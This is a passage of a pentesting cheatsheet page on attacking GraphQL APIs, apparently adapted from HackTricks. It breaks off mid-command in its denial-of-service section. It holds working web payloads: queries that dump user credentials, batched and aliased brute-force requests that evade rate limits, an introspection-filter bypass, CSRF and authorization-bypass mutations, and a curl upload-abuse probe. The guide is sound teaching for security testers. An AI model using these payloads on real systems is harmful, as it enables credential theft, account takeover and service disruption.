daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

graphql.md (56705B)


      1 ---
      2 title: "GraphQL"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/graphql.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/graphql.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # GraphQL
     14 
     15 ## Introduction
     16 
     17 GraphQL is **highlighted** as an **efficient alternative** to REST API, offering a simplified approach for querying data from the backend. In contrast to REST, which often necessitates numerous requests across varied endpoints to gather data, GraphQL enables the fetching of all required information through a **single request**. This streamlining significantly **benefits developers** by diminishing the intricacy of their data fetching processes.<sup>[[3]](#references)</sup>
     18 
     19 ## GraphQL and Security
     20 
     21 GraphQL does not provide application authentication or authorization by itself; developers must enforce those controls in the surrounding application and in resolver logic. Without them, endpoints may expose sensitive information or operations to unauthenticated or unauthorized users.<sup>[[1]](#references)[[6]](#references)</sup>
     22 
     23 ### Directory Brute Force Attacks and GraphQL
     24 
     25 When looking for exposed GraphQL endpoints, include common paths in content-discovery scans. Practical GraphQL testing guides use paths and probes such as these:<sup>[[4]](#references)[[5]](#references)</sup>
     26 
     27 - `/graphql`
     28 - `/graphiql`
     29 - `/graphql.php`
     30 - `/graphql/console`
     31 - `/api`
     32 - `/api/graphql`
     33 - `/graphql/api`
     34 - `/graphql/graphql`
     35 
     36 Identifying open GraphQL instances allows for the examination of supported queries. This is crucial for understanding the data accessible through the endpoint. GraphQL's introspection system facilitates this by detailing the queries a schema supports. For more information on this, refer to the GraphQL documentation on introspection: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)<sup>[[20]](#references)</sup>
     37 
     38 ### Fingerprint
     39 
     40 The tool [**graphw00f**](https://github.com/dolevf/graphw00f) can identify the GraphQL engine used by a server and print information useful to a security auditor.
     41 
     42 #### Universal queries <a href="#universal-queries" id="universal-queries"></a>
     43 
     44 To check if a URL is a GraphQL service, a **universal query**, `query{__typename}`, can be sent. If the response includes `{"data": {"__typename": "Query"}}`, it confirms the URL hosts a GraphQL endpoint. This method relies on GraphQL's `__typename` field, which reveals the type of the queried object.
     45 
     46 ```javascript
     47 query{__typename}
     48 ```
     49 
     50 ### Basic Enumeration
     51 
     52 GraphQL-over-HTTP servers must support `POST` and may support `GET`; mutations must not be executed through `GET`. Compliant servers support JSON request bodies, while some implementations additionally accept form or other simple content types. For state-changing operations, require `POST` with an appropriate JSON content type and deploy normal CSRF protections; rejecting simple content types can remove one common CSRF path but is not a complete CSRF defense.<sup>[[21]](#references)</sup>
     53 
     54 #### Introspection
     55 
     56 To use introspection to discover schema information, query the `__schema` field. This field is available on the root type of all queries.
     57 
     58 ```bash
     59 query={__schema{types{name,fields{name}}}}
     60 ```
     61 
     62 With this query you will find the name of all the types being used:
     63 
     64 ![Basic Enumeration - Introspection: With this query you will find the name of all the types being used](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281036%29.png)
     65 
     66 ```bash
     67 query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
     68 ```
     69 
     70 With this query you can extract all the types, their fields, and their arguments (including argument types). This is useful for learning how to query the API.
     71 
     72 ![Basic Enumeration - Introspection: query output showing types, fields, arguments, and argument types](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28950%29.png)
     73 
     74 **Errors**
     75 
     76 Determine whether detailed **errors** are returned, because they can disclose useful schema and implementation information.
     77 
     78 ```text
     79 ?query={__schema}
     80 ?query={}
     81 ?query={thisdefinitelydoesnotexist}
     82 ```
     83 
     84 ![Basic Enumeration - Introspection: ?query={thisdefinitelydoesnotexist}](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28416%29.png)
     85 
     86 **Enumerate Database Schema via Introspection**
     87 
     88 > [!TIP]
     89 > If introspection is enabled but the above query doesn't run, try removing the `onOperation`, `onFragment`, and `onField` directives from the query structure.
     90 
     91 ```bash
     92   #Full introspection query
     93 
     94 query IntrospectionQuery {
     95     __schema {
     96         queryType {
     97             name
     98         }
     99         mutationType {
    100             name
    101         }
    102         subscriptionType {
    103             name
    104         }
    105         types {
    106          ...FullType
    107         }
    108         directives {
    109             name
    110             description
    111             args {
    112                 ...InputValue
    113         }
    114         onOperation  #Often needs to be deleted to run query
    115         onFragment   #Often needs to be deleted to run query
    116         onField      #Often needs to be deleted to run query
    117         }
    118     }
    119 }
    120 
    121 fragment FullType on __Type {
    122     kind
    123     name
    124     description
    125     fields(includeDeprecated: true) {
    126         name
    127         description
    128         args {
    129             ...InputValue
    130         }
    131         type {
    132             ...TypeRef
    133         }
    134         isDeprecated
    135         deprecationReason
    136     }
    137     inputFields {
    138         ...InputValue
    139     }
    140     interfaces {
    141         ...TypeRef
    142     }
    143     enumValues(includeDeprecated: true) {
    144         name
    145         description
    146         isDeprecated
    147         deprecationReason
    148     }
    149     possibleTypes {
    150         ...TypeRef
    151     }
    152 }
    153 
    154 fragment InputValue on __InputValue {
    155     name
    156     description
    157     type {
    158         ...TypeRef
    159     }
    160     defaultValue
    161 }
    162 
    163 fragment TypeRef on __Type {
    164     kind
    165     name
    166     ofType {
    167         kind
    168         name
    169         ofType {
    170             kind
    171             name
    172             ofType {
    173                 kind
    174                 name
    175             }
    176         }
    177     }
    178 }
    179 ```
    180 
    181 Inline introspection query:
    182 
    183 ```text
    184 /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
    185 ```
    186 
    187 The preceding request is a GraphQL query that dumps schema metadata such as object names, parameters, and types.
    188 
    189 ![Basic Enumeration - Introspection: The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28363%29.png)
    190 
    191 If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options.<sup>[[2]](#references)</sup>
    192 
    193 ### Querying
    194 
    195 Now that we know which kind of information is saved inside the database, let's try to **extract some values**.
    196 
    197 In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object.
    198 
    199 ![Introspection - Querying: In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/Screenshot%20from%202021-03-13%2018-17-48.png)
    200 
    201 Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below:
    202 
    203 ![Introspection - Querying: Note that the type of the query " flags " is " Flags ", and this object is defined as below](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/Screenshot%20from%202021-03-13%2018-22-57%20%281%29.png)
    204 
    205 The `_Flags_` objects contain **name** and **value** fields, so you can request all flag names and values with:
    206 
    207 ```javascript
    208 query={flags{name, value}}
    209 ```
    210 
    211 If the **object to query** is a primitive type such as a string, as in the following example:
    212 
    213 ![Introspection - Querying: Note that in case the object to query is a primitive type like string like in the following example](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28958%29.png)
    214 
    215 You can query it directly with:
    216 
    217 ```javascript
    218 query = { hiddenFlags }
    219 ```
    220 
    221 In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_".\
    222 If these objects don't need any argument to search, could **retrieve all the information from them** just **asking** for the data you want. In this example from Internet you could extract the saved usernames and passwords:
    223 
    224 ![Introspection - Querying: If these objects don't need any argument to search, could retrieve all the information from them just asking for the data you want. In this example from...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28880%29.png)
    225 
    226 However, in this example if you try to do so you get this **error**:
    227 
    228 ![Introspection - Querying: However, in this example if you try to do so you get this error](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281042%29.png)
    229 
    230 Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_.\
    231 The [Basic Enumeration](/hacktricks/network-services-pentesting/pentesting-web/graphql#basic-enumeration) section already proposed a query that returns the needed information: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
    232 
    233 If you read the image provided when I run that query you will see that "_**user**_" had the **arg** "_**uid**_" of type _Int_.
    234 
    235 In this example, light _**uid**_ brute force reveals that _**uid**=**1**_ returns a username and password:\
    236 `query={user(uid:1){user,password}}`
    237 
    238 ![Introspection - Querying: query={user(uid:1){user,password}}](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2890%29.png)
    239 
    240 Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist (`query={user(uid:1){noExists}}`) I get this error:
    241 
    242 ![Introspection - Querying: Note that I discovered that I could ask for the parameters " user " and " password " because if I try to look for something that doesn't exist...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28707%29.png)
    243 
    244 And during the **enumeration phase** I discovered that the "_**dbuser**_" object had as fields "_**user**_" and "_**password**_.
    245 
    246 **Query string dump trick (thanks to @BinaryShadow\_)**
    247 
    248 If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. (_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_).
    249 
    250 ### Searching
    251 
    252 The examples in the searching and mutation sections use a **database** containing **persons** and **movies**. **Persons** are identified by their **email** and **name**; **movies** by their **name** and **rating**. **Persons** can be friends with each other and can have movies, representing relationships within the database.
    253 
    254 You can **search** persons **by** the **name** and get their emails:
    255 
    256 ```javascript
    257 {
    258   searchPerson(name: "John Doe") {
    259     email
    260   }
    261 }
    262 ```
    263 
    264 You can **search** persons **by** the **name** and get their **subscribed** **films**:
    265 
    266 ```javascript
    267 {
    268   searchPerson(name: "John Doe") {
    269     email
    270     subscribedMovies {
    271       edges {
    272         node {
    273           name
    274         }
    275       }
    276     }
    277   }
    278 }
    279 ```
    280 
    281 Note how its indicated to retrieve the `name` of the `subscribedMovies` of the person.
    282 
    283 You can also **search several objects at the same time**. In this case, a search 2 movies is done:
    284 
    285 ```javascript
    286 {
    287   searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
    288     name
    289   }
    290 }r
    291 ```
    292 
    293 Or even **relations of several different objects using aliases**:
    294 
    295 ```javascript
    296 {
    297   johnsMovieList: searchPerson(name: "John Doe") {
    298     subscribedMovies {
    299       edges {
    300         node {
    301           name
    302         }
    303       }
    304     }
    305   }
    306   davidsMovieList: searchPerson(name: "David Smith") {
    307     subscribedMovies {
    308       edges {
    309         node {
    310           name
    311         }
    312       }
    313     }
    314   }
    315 }
    316 ```
    317 
    318 ### Mutations
    319 
    320 **Mutations are used to make changes in the server-side.**
    321 
    322 In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case):
    323 
    324 ![Searching - Mutations: In the introspection you can find the declared mutations . In the following image the " MutationType " is called " Mutation " and the " Mutation " object contains...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/Screenshot%20from%202021-03-13%2018-26-27%20%281%29.png)
    325 
    326 Using the same persons-and-movies schema, a mutation to **create a new movie** in the database can look like the following example (where the mutation is called `addMovie`):
    327 
    328 ```javascript
    329 mutation {
    330   addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
    331     movies {
    332       name
    333       rating
    334     }
    335   }
    336 }
    337 ```
    338 
    339 **Note how both the values and type of data are indicated in the query.**
    340 
    341 Additionally, the database supports a **mutation** operation, named `addPerson`, which allows for the creation of **persons** along with their associations to existing **friends** and **movies**. It's crucial to note that the friends and movies must pre-exist in the database before linking them to the newly created person.
    342 
    343 ```javascript
    344 mutation {
    345   addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
    346     person {
    347       name
    348       email
    349       friends {
    350         edges {
    351           node {
    352             name
    353             email
    354           }
    355         }
    356       }
    357       subscribedMovies {
    358         edges {
    359           node {
    360             name
    361             rating
    362             releaseYear
    363           }
    364         }
    365       }
    366     }
    367   }
    368 }
    369 ```
    370 
    371 ### Directive Overloading
    372 
    373 As explained in [**one of the vulns described in this report**](https://www.landh.tech/blog/20240304-google-hack-50000/), a directive overloading implies to call of a directive even millions of times to make the server waste operations until it's possible to DoS it.<sup>[[13]](#references)</sup>
    374 
    375 ### Batching brute-force in 1 API request
    376 
    377 This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).<sup>[[14]](#references)</sup>\
    378 Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords.
    379 
    380 Below you can find the simplest demonstration of an application authentication request, with **3 different email/passwords pairs at a time**. Obviously it’s possible to send thousands in a single request in the same way:
    381 
    382 ![Directive Overloading - Batching brute-force in 1 API request: Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281081%29.png)
    383 
    384 As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token.
    385 
    386 ![Directive Overloading - Batching brute-force in 1 API request: As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28119%29%20%281%29.png)
    387 
    388 ## GraphQL Without Introspection
    389 
    390 More and more **graphql endpoints are disabling introspection**. However, the errors that graphql throws when an unexpected request is received are enough for tools like [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) to recreate most part of the schema.
    391 
    392 Moreover, the Burp Suite extension [**GraphQuail**](https://github.com/forcesunseen/graphquail) extension **observes GraphQL API requests going through Burp** and **builds** an internal GraphQL **schema** with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info [**check this**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).<sup>[[15]](#references)</sup>
    393 
    394 A nice **wordlist** to discover [**GraphQL entities can be found here**](https://github.com/Escape-Technologies/graphql-wordlist?).
    395 
    396 ### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
    397 
    398 To bypass restrictions on introspection queries in APIs, inserting a **special character after the `__schema` keyword** proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the `__schema` keyword. By adding characters like **spaces, new lines, and commas**, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after `__schema` may bypass such defenses:
    399 
    400 ```bash
    401 # Example with newline to bypass
    402 {
    403     "query": "query{__schema
    404     {queryType{name}}}"
    405 }
    406 ```
    407 
    408 If unsuccessful, consider alternative request methods, such as **GET requests** or **POST with `x-www-form-urlencoded`**, since restrictions may apply only to POST requests.
    409 
    410 ### Try WebSockets
    411 
    412 As mentioned in [**this talk**](https://www.youtube.com/watch?v=tIo_t5uUK50), check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:<sup>[[16]](#references)</sup>
    413 
    414 ```javascript
    415 ws = new WebSocket("wss://target/graphql", "graphql-ws")
    416 ws.onopen = function start(event) {
    417   var GQL_CALL = {
    418     extensions: {},
    419     query: `
    420         {
    421             __schema {
    422                 _types {
    423                     name
    424                 }
    425             }
    426         }`,
    427   }
    428 
    429   var graphqlMsg = {
    430     type: "GQL.START",
    431     id: "1",
    432     payload: GQL_CALL,
    433   }
    434   ws.send(JSON.stringify(graphqlMsg))
    435 }
    436 ```
    437 
    438 ### **Discovering Exposed GraphQL Structures**
    439 
    440 When introspection is disabled, examining the website's source code for preloaded queries in JavaScript libraries is a useful strategy. These queries can be found using the `Sources` tab in developer tools, providing insights into the API's schema and revealing potentially **exposed sensitive queries**. The commands to search within the developer tools are:
    441 
    442 ```javascript
    443 Inspect/Sources/"Search all files"
    444 file:* mutation
    445 file:* query
    446 ```
    447 
    448 ### Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
    449 
    450 When introspection is blocked, **InQL v6.1+** can now reconstruct the reachable schema purely from error feedback. The new *schema bruteforcer* batches candidate field/argument names from a configurable wordlist and sends them in multi-field operations to reduce HTTP chatter. Useful error patterns are then harvested automatically:<sup>[[9]](#references)</sup>
    451 
    452 - `Field 'bugs' not found on type 'inql'` confirms the existence of the parent type while discarding invalid field names.
    453 - `Argument 'contribution' is required` shows that an argument is mandatory and exposes its spelling.
    454 - Suggestion hints such as `Did you mean 'openPR'?` are fed back into the queue as validated candidates.
    455 - By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like `[Episode!]`.
    456 
    457 The bruteforcer keeps recursing over any type that yields new fields, so a wordlist that mixes generic GraphQL names with app-specific guesses will eventually map large chunks of the schema without introspection. Runtime is limited mostly by rate limiting and candidate volume, so fine-tuning the InQL settings (wordlist, batch size, throttling, retries) is critical for stealthier engagements.
    458 
    459 In the same release, InQL ships a **GraphQL engine fingerprinter** (borrowing signatures from tools like `graphw00f`). The module dispatches deliberately invalid directives/queries and classifies the backend by matching the exact error text. For example:<sup>[[9]](#references)</sup>
    460 
    461 ```graphql
    462 query @deprecated {
    463     __typename
    464 }
    465 ```
    466 
    467 - Apollo replies with `Directive "@deprecated" may not be used on QUERY.`
    468 - GraphQL Ruby answers `'@deprecated' can't be applied to queries`.
    469 
    470 Once an engine is recognized, InQL surfaces the corresponding entry from the [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix), helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).<sup>[[9]](#references)[[10]](#references)</sup>
    471 
    472 Finally, **automatic variable generation** removes a classic blocker when pivoting into Burp Repeater/Intruder. Whenever an operation requires a variables JSON, InQL now injects sane defaults so the request passes schema validation on the first send:<sup>[[9]](#references)</sup>
    473 
    474 ```text
    475 "String"  -> "exampleString"
    476 "Int"     -> 42
    477 "Float"   -> 3.14
    478 "Boolean" -> true
    479 "ID"      -> "123"
    480 ENUM      -> first declared value
    481 ```
    482 
    483 Nested input objects inherit the same mapping, so you immediately get a syntactically and semantically valid payload that can be fuzzed for SQLi/NoSQLi/SSRF/logic bypasses without manually reverse-engineering every argument.
    484 
    485 ## CSRF in GraphQL
    486 
    487 If you don't know what CSRF is read the following page:
    488 
    489 [Csrf Cross Site Request Forgery](/hacktricks/pentesting-web/csrf-cross-site-request-forgery)
    490 
    491 Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.**
    492 
    493 Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**.
    494 
    495 ```javascript
    496 {"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
    497 ```
    498 
    499 However, most GraphQL endpoints also support **`form-urlencoded` POST requests:**
    500 
    501 ```javascript
    502 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
    503 ```
    504 
    505 Therefore, as CSRF requests like the previous ones are sent **without preflight requests**, it's possible to **perform** **changes** in the GraphQL abusing a CSRF.
    506 
    507 Cookies without an explicit `SameSite` attribute are generally treated as `SameSite=Lax`. Such cookies can accompany a cross-site request only when it is a top-level navigation using a safe method (most notably `GET`), so they are not sent with ordinary cross-site subresource requests.<sup>[[22]](#references)</sup>
    508 
    509 Some GraphQL servers also accept a **query request as a GET request**, and an implementation might fail to validate its CSRF token on that path.
    510 
    511 Also, abusing a [**XS-Search**](../../pentesting-web/xs-search/index.html) **attack** might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.
    512 
    513 For more information **check the** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).<sup>[[17]](#references)</sup>
    514 
    515 ### Multipart upload abuse (`Upload` scalar)
    516 
    517 A lot of GraphQL stacks implement the **GraphQL multipart request specification** to support `Upload` scalars.<sup>[[11]](#references)</sup> From an offensive point of view, whenever you see `scalar Upload`, `multipart/form-data`, or mutations such as `uploadAvatar`, `createMediaItem`, or `import*`, you should test more than basic file validation:
    518 
    519 - **CSRF via multipart**: `multipart/form-data` is a **simple request**, so browsers can send upload mutations cross-origin **without preflight**. This is especially relevant when the application claims to accept only JSON elsewhere.
    520 - **Upload variable reuse**: GraphQL allows the same variable to be referenced multiple times. If the backend doesn't enforce single-use upload variables, reusing one file stream in several resolver arguments can trigger double reads, premature stream exhaustion, or server-side buffering/memory pressure.
    521 - **Orphan parts / excess files**: some multipart parsers buffer every received file before checking whether it is actually referenced in the `map` field. Sending large unused parts is therefore a good way to probe for disk/RAM exhaustion.
    522 
    523 Quick test for **variable reuse**:
    524 
    525 ```bash
    526 curl -X POST https://target/graphql \
    527   -F 'operations={"query":"mutation($f: Upload!){a:uploadAvatar(file:$f){id} b:uploadAvatar(file:$f){id}}","variables":{"f":null}}' \
    528   -F 'map={"0":["variables.f"]}' \
    529   -F '0=@/tmp/poc.bin'
    530 ```
    531 
    532 Also try malformed `map` objects with **extra file parts** (for example a second part not referenced anywhere) and watch for differences in response time, temporary-file growth, or reverse-proxy errors.
    533 
    534 ## Cross-site WebSocket hijacking in GraphQL
    535 
    536 Similar to CRSF vulnerabilities abusing graphQL it's also possible to perform a **Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies** and make a user perform unexpected actions in GraphQL.
    537 
    538 For more information check:
    539 
    540 [Websocket Attacks](/hacktricks/pentesting-web/websocket-attacks)
    541 
    542 ## Authorization in GraphQL
    543 
    544 Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization.
    545 
    546 Modifying query input variables could lead to sensitive account details [leaked](https://hackerone.com/reports/792927).<sup>[[19]](#references)</sup>
    547 
    548 Mutation could even lead to account takeover trying to modify other account data.
    549 
    550 ```javascript
    551 {
    552   "operationName":"updateProfile",
    553   "variables":{"username":INJECT,"data":INJECT},
    554   "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
    555 }
    556 ```
    557 
    558 ### Bypass authorization in GraphQL
    559 
    560 [Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) together can bypass a weak authentication system.<sup>[[18]](#references)</sup>
    561 
    562 In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user.
    563 
    564 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
    565 
    566 ## Persisted queries / APQ are **not** a security boundary
    567 
    568 A common blue-team assumption is that **Automatic Persisted Queries (APQ)** prevent arbitrary GraphQL from reaching the server because clients normally send only a SHA-256 hash. In practice, APQ is mostly a **bandwidth/latency optimization**, not a safelist:<sup>[[12]](#references)</sup>
    569 
    570 1. send only the hash and `extensions.persistedQuery`
    571 2. if the server answers with `PersistedQueryNotFound`, resend the same request **with the full `query` string**
    572 3. many Apollo-style deployments will execute it and cache that operation for later requests
    573 
    574 This means that if the target only enabled APQ, you can often still submit **new introspection queries, aliases, deep fragments, or brute-force mutations** on the first request. Real safelisting normally requires a **pre-registered persisted-query list** and rejecting raw operation strings.
    575 
    576 ```json
    577 {
    578   "operationName": "probe",
    579   "variables": null,
    580   "extensions": {
    581     "persistedQuery": {
    582       "version": 1,
    583       "sha256Hash": "<unknown-hash>"
    584     }
    585   }
    586 }
    587 ```
    588 
    589 If the response contains `PersistedQueryNotFound`, immediately retry adding a full `query` field. Also note that some clients use **GET** for hash-only APQ requests and only fall back to a full query when the hash misses, so WAF or cache rules built around the hash-only path may miss the dangerous request.
    590 
    591 ## Bypassing Rate Limits Using Aliases in GraphQL
    592 
    593 In GraphQL, aliases are a powerful feature that allow for the **naming of properties explicitly** when making an API request. This capability is particularly useful for retrieving **multiple instances of the same type** of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.
    594 
    595 For a detailed understanding of GraphQL aliases, the following resource is recommended: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
    596 
    597 While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the **number of HTTP requests**. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures.
    598 
    599 Consider the example provided below, which illustrates how aliased queries can be used to verify the validity of store discount codes. This method could sidestep rate limiting since it compiles several queries into one HTTP request, potentially allowing for the verification of numerous discount codes simultaneously.
    600 
    601 ```bash
    602 # Example of a request utilizing aliased queries to check for valid discount codes
    603 query isValidDiscount($code: Int) {
    604     isvalidDiscount(code:$code){
    605         valid
    606     }
    607     isValidDiscount2:isValidDiscount(code:$code){
    608         valid
    609     }
    610     isValidDiscount3:isValidDiscount(code:$code){
    611         valid
    612     }
    613 }
    614 ```
    615 
    616 ## DoS in GraphQL
    617 
    618 ### Alias Overloading
    619 
    620 **Alias Overloading** is a GraphQL vulnerability where attackers overload a query with many aliases for the same field, causing the backend resolver to execute that field repeatedly. This can overwhelm server resources, leading to a **Denial of Service (DoS)**. For example, in the query below, the same field (`expensiveField`) is requested 1,000 times using aliases, forcing the backend to compute it 1,000 times, potentially exhausting CPU or memory:
    621 
    622 ```graphql
    623 # Test provided by https://github.com/dolevf/graphql-cop
    624 curl -X POST -H "Content-Type: application/json" \
